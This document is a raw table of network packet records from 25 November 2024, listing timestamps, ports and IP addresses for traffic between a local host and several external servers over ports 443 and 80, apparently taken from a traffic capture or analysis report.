Nov 25, 2024 12:08:59.989667892 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.989705086 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.989725113 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.989741087 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.989765882 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.077109098 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.077132940 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.077189922 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.077198982 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.077236891 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.077244997 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.090764999 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:00.090801954 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:00.090888977 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:00.091432095 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:00.091459990 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:00.094075918 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:00.094127893 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:00.094202042 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:00.094521999 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:00.094549894 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:00.097522974 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.097605944 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.102650881 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.102669954 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.102735043 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.102746010 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.102771997 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.102788925 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.110861063 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.110917091 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.110928059 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.110949993 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.110996962 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.111015081 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.111032009 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.111079931 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.111376047 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.111392975 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117018938 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117052078 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117060900 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117079020 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117153883 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.117153883 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.117178917 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117191076 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.117244005 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.117244005 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.119602919 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.119676113 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.138782024 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.138808012 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.138849020 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.138854980 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.138890982 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.138910055 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.161990881 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.162008047 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.162061930 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.162069082 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.162146091 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.243268013 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.243346930 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.243351936 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.243392944 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.243422985 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.243441105 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.251595020 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.251678944 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.288939953 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.289015055 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.289030075 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.289042950 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.289081097 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.289381027 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.289393902 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.318388939 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.318456888 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.318495035 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.318530083 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.318547010 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.318569899 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.416161060 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:09:00.416230917 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:09:00.416275024 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:09:00.423094034 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.423177958 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.423193932 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.423224926 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.423264027 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.423264027 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.442095995 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.442253113 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.464226007 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.464258909 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.464395046 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.464411974 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.464638948 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.467216015 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.467303038 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.467310905 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.467336893 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.467410088 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.526382923 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:00.526401997 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:00.927062988 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927135944 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927175999 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927220106 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927485943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927566051 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927580118 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927591085 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927591085 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927606106 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927618980 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927659988 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927660942 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927660942 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927671909 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.927715063 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927715063 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:00.927833080 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:00.929466963 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.018213034 CET	49833	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.018265963 CET	443	49833	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:01.018414021 CET	49833	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.022454023 CET	49833	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.022469044 CET	443	49833	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:01.046823025 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.046912909 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.046947956 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.050488949 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.128848076 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.128978968 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.128978968 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.129170895 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.133055925 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.133194923 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.133224010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.134524107 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.141488075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.141645908 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.141673088 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.141750097 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.150058985 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.150155067 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.150187016 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.150702953 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.158221006 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.158351898 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.158384085 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.158423901 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.166574955 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.166775942 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.166802883 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.166894913 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.174952984 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.175034046 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.175270081 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.183361053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.183464050 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.183494091 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.184567928 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.191756964 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.191869974 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.191893101 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.191924095 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.199593067 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.199697018 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.199744940 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.199744940 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.207567930 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.207686901 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.207715034 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.208611965 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.332941055 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.332967997 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.333127022 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.333127975 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.333920002 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.334105015 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.334115982 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.334378004 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.338241100 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.338382959 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.338395119 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.338470936 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.343127966 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.343249083 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.344072104 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.344470024 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.348998070 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.349176884 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.349375963 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.353410959 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.353522062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.353554964 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.353745937 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.356704950 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.356745005 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:01.358752966 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.358854055 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.358855009 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.358855009 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.358956099 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.360404968 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.360415936 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:01.363517046 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.363626957 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.363626957 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.363737106 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.368666887 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.368839025 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.368978024 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.373907089 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.374016047 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.374099016 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.374099016 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.378878117 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.378983974 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.379077911 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.383981943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.384063005 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.384311914 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.389425039 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.389569998 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.389641047 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.389744997 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.394686937 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.394776106 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.394813061 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.396892071 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.399342060 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.399461031 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.399490118 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.400732994 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.404427052 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.404500961 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.404535055 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.404612064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.409564018 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.409652948 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.409934998 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.414594889 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.414833069 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.531840086 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.531960011 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.532001972 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.532056093 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.533921957 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.533987999 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.534049988 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.538096905 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.538184881 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.538189888 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.538279057 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.542069912 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.542144060 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.542170048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.542429924 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.546165943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.546232939 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.546297073 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.546400070 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.550242901 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.550374031 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.550417900 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.554373026 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.554418087 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.554446936 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.554552078 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.558566093 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.558782101 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.558907986 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.562511921 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.562581062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.562609911 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.566585064 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.566617966 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.566714048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.568521976 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.570642948 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.570794106 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.570823908 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.572377920 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.574888945 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.575165987 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.575285912 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.578883886 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.579068899 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.579092026 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.579346895 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.582927942 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.583000898 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.583441973 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.587047100 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.587104082 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.587192059 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.591073990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.591365099 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.591399908 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.592822075 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.595168114 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.595424891 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.595460892 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.596812010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.599229097 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.599379063 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.599416971 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.599493027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.603375912 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.603425026 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.603475094 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.603539944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.607398033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.607470989 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.607505083 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.607546091 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.611494064 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.611675024 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.611761093 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.612135887 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.615596056 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.615660906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.615663052 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.615709066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.619635105 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.619687080 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.619718075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.619765043 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.623806000 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.623866081 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.623934984 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.623980045 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.627816916 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.627876997 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.627929926 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.628134966 CET	49830	80	192.168.2.8	185.215.113.16
